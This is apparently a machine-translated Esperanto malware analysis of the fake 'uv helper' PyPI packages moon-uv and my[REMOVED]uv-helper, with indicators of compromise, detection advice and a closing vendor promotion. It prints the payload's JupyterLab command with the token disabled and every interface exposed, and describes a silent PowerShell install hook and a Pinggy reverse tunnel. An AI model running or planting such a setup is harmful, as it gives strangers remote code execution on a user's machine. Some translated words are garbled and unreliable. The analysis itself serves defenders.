FauxUV: Falsaj PyPI-uv-pakaĵoj malfermas Jupyter al la reto

FauxUV: falsaj PyPI-UV-helpantoj, kiuj malfermas neaŭtentigitan Jupyter-servilon al la interreto

TL; DR

Areto de PyPI-pakaĵoj pruntis la nomon de uv, la rapida, ege populara Rust-bazita Python-pakaĵadministrilo, por ŝajnigi esti UV-helpantoj. Ili preskaŭ ne liveras veran funkcion. Kion ili anstataŭe portas estas Vindoza utila ŝarĝo, kiu eltenas Servilo JupyterLab kun aŭtentikigo malŝaltita kaj, en pli postaj versioj, publikigas ĝin al la publika interreto tra inversa tunelo.

Jen la tuta rakonto en unu linio: la nomo de fidinda ilo kiel la allogaĵo, kaj JupyterLab kiel la motoro por fora kodplenumo. Jupyter-servilo funkciigas ajnan kodon, kiun vi tajpas en not-dosieron.ebook ĉelo; unu lanĉita kun malplena ĵetono kaj ligita al ĉiu retinterfaco estas malferma interpretilo, kiun ĉiu, kiu povas atingi la pordon, povas funkciigi.

Ni spuras la areton kiel Falsa UVLa du pakaĵoj ekzamenitaj estas moon-uv (0.0.1-0.0.16) kaj my-magic-uv-helper (0.0.1), publikigita de la sama funkciigisto kaj havebla ĉe PyPI dum la analizo.

EkosistemoPyPI
pakaĵojmoon-uv (0.0.1 – 0.0.16), my-magic-uv-helper (0.0.1)
Platformo celitafenestroj
Kerna kondutoNeaŭtentigita JupyterLab-servilo, publikigita al la interreto per inversa tunelo
Legitimaj iloj misuzitajuv, JupyterLab, cloudflared, Pinggy

La allogaĵo: nomo, kiun vi jam fidas

uv estas unu el la plej instalitaj Python-iloj de la lastaj du jaroj, do "helpanto por uv"estas pakaĵo, kiun programisto instalas sen dua penso. FauxUV elspezas sian kredindecon tute por tiu nomo. La pakaĵoj envolvas la aŭtentika uv instalilo de Astral — la URL-oj en la utila ŝarĝo montras al realaj, bonfamaj gastigantoj — do rapida ekrigardo vidas nenion krom fidindajn referencojn. Neniu el la pakaĵoj efektive aldonas uv funkcieco; la nomo estas la tuta alivestiĝo.

JupyterLab kiel la RCE-motoro

La ĉefa parto de la utila ŝarĝo estas lanĉilo, kiu startas JupyterLab-on sen ĉiu apogilo:

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

Ĉiu flago forigas protekton, kaj la sendita skribo eĉ prinotas ilin (en la originala ĉina): la malplena ĵetono "malŝaltas pasvortajn kaj ĵetonajn kontrolojn — ĉiu ajn povas konektiĝi." jupyter-laboratorio estas legitima datumscienca IDE, sed neebook ĉelo efektivigas arbitran kodon laŭplane. Agordita tiel kaj ligita al 0.0.0.0, ĝi ĉesas esti IDE kaj fariĝas neaŭtentika fora ŝelo sur la gastiganto — neniu kutima malicprogramaro necesas, nur ĉefa ilo direktita al la malĝusta direkto.

Du subtenaj pecoj igas tion atingebla kaj ripetebla:

  • Silenta instal-ellasilo. Fruaj versioj funkciigas PowerShell kun -Ekzekuta Politiko Preterpaso rekte de Setup.py on pip instali, en la fono kun eraroj subpremitaj do pip aspektas normale. Pli postaj versioj movas la saman primitivon en pip-uv komandlinia ilo — kaj tute forĵeti la aŭtomatan lanĉon dum la instalo.
  • Publika inversa tunelo. Servilo sur 0.0.0.0 estas ankoraŭ atingebla nur de gastigantoj, kiuj povas direkti al la maŝino. Enigita modulo malfermas [Pinggy](https://pinggy.io/) SSH-inversa tunelo kiu plusendas la lokan Jupyter-pordon al publika adreso, forigante tiun limon. La sendita skripto ankaŭ portas — komentita — alternativan vojon uzante la de Cloudflare nubflamis kaj netsh port-prokurilo al Linode IP-adreso, dokumentante la saman celon per malsama infrastrukturo.

Kunmetu: instalu la pakaĵon, kaj Vindoza gastiganto finfine funkciigas senpasvortan JupyterLab kaj publikigas ĝin en la malferma interreto.

Kiel FauxUV evoluis

La versioj de FauxUV estis senditaj rapide sinsekve, kaj la ellasilo de la utila ŝarĝo moviĝis trans ilin — memorigilo, ke unu markita versio malofte rakontas la tutan historion de pakaĵlinio.

scenejo versioj ellasilon Kion ĝi aldonas
Instali-hoko moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 setup.py sur pip-instalo uv-instalo + PATH antaŭmeti
CLI-rultempo moon-uv 0.0.5-0.0.13 pip-uv komando la senpasvorta lanĉilo de JupyterLab
Tunelo moon-uv 0.0.14-0.0.16 pip-uv komando aktiva Pinggy-inversa tunelo

Rimarkinde, la aŭtomata lanĉo dum la instalado estis forigita en la pli postaj, pli kapablaj versioj — do skanilo ŝaltita nur dum vivciklo hooks taksus la pli novajn eldonojn kiel malpli riska, ĝuste inverse.

Indikiloj de kompromiso

Konfirmite per legado de la pakaĵfonto; finpunktoj markitaj komentis ĉeestas en la dosieroj sed ne estas plenumataj de la analizita versio. Retaj indikiloj estas malŝaltitaj.

tipo indikilo
Instali komandon powershell -ExecutionPolicy Bypass alprenante la originalan uv-instalilon, dum la instalado de pip
JupyterLab-flagoj --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
Inversa tunelo (aktiva) free[.]pinggy[.]io:443 plusendado loka 127.0.0.1:8888
Tunela gastiganto (komentita) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
IP (komentita) 45[.]79[.]134[.]161 (Linode) per netsh port-proxy
persisto antaŭas %USERPROFILE%\.local\bin al la uzanto-VOJO

Kondutaj signaloj pri kiuj valoras atenti, sendepende de ĉi tiuj precizaj ĉenoj: a pip instali kiu generas potencoŝelo - Ekzekuta Politiko Preterpasoajna Jupitero lanĉo kombinanta ĵetono="" kun –ip=0.0.0.0; kaj elira SSH al *.pinggy.io de programisto aŭ CI-maŝino.

Observita konduto kaj deveno

La du pakaĵoj dividas aŭtoron kaj metodon: nomon de fidinda ilo, nur-Vindozan enregadon, erar-subpremitan fonan ekzekuton, kaj dependecon de bonfamaj iloj, do rapida ekrigardo vidas nur bonfamajn URL-ojn. La fonto enhavas ĉinlingvajn komentojn klare priskribantajn la sekurec-rilatajn flagojn; ni raportas tiujn kiel observeblajn deklarojn en la dosiero, ne kiel aserton pri motivo. La permesi_originon valoro kaj kunlaboraĵo.vesperto dosiernomo eĥas la neformalajn "kunhavigi mian lokan rultempon" laborfluojn, kiuj cirkulas por Google Colab. Sendepende de la origino, la pakita rezulto estas la sama.

Efiko kaj gvidlinioj por defendantoj

Kiu estas eksponita al FauxUV. Vindozaj programistoj kaj CI-kuristoj, kiuj pip instali unu el ĉi tiuj pakaĵoj. Senpasvorta JupyterLab sur 0.0.0.0 estas fora kodplenumo por ĉiu, kiu povas atingi la pordon; la tunelo forigas la limon "kiu povas atingi ĝin". La servilo funkcias kiel la instalanta uzanto, heredante la dosierojn, ĵetonojn kaj nubajn akreditaĵojn de tiu uzanto.

Kial estas facile maltrafi ĝin. Ĉiu retĉeno montras al bonfama gastiganto — Astral, JupyterLab, nubflamis, Pinggy, Kunlaboro. Ne ekzistas duuma dosiero por haki kaj neniu malklarigita makulo por deĉifri. Reputacio- kaj subskribo-bazita skanado ambaŭ subpezas ĉi tion, tial la konduta demando — kion la instalado de ĉi tiu pakaĵo igas la maŝinon fari — estas tiu, kiu kaptas ĝin.

Gvido:

  • Traktu ajnan instaltempon potencoŝelo - Ekzekuta Politiko Preterpaso kiel konstru-rompanta signalo, kian ajn URL-on ĝi akiras.
  • Alarmo ŝaltita Jupitero lanĉita kun malplena ĵetono kaj –ip=0.0.0.0; tiu kombinaĵo neniam aperu sur laborstacio aŭ kurilo.
  • Monitori por eliranta SSH al tunelprovizantoj (*.pinggy.io, *.trycloudflare.com) el programistaj kaj CI-medioj.
  • instali uv de [ĝia oficiala fonto](https://docs.astral.sh/uv/) kaj estu skeptika pri triapartaj "helpaj" pakaĵoj, kiuj enhavas ilon jam facile instaleblan.
  • Alfiksi kaj re-revizii dependecojn dum ĝisdatigo — pakaĵlinio povas kreskigi novan kapablon versio-super-versio.
sca-tools-software-composition-analiz-tools
Prioritatigu, solvu kaj sekurigu viajn programarajn riskojn
Akiru vian Senpagan Konton.
Neniu kreditkarto necesas.

Sekurigu vian Programaran Disvolviĝon kaj Liveradon

kun Xygeni Produkta Aro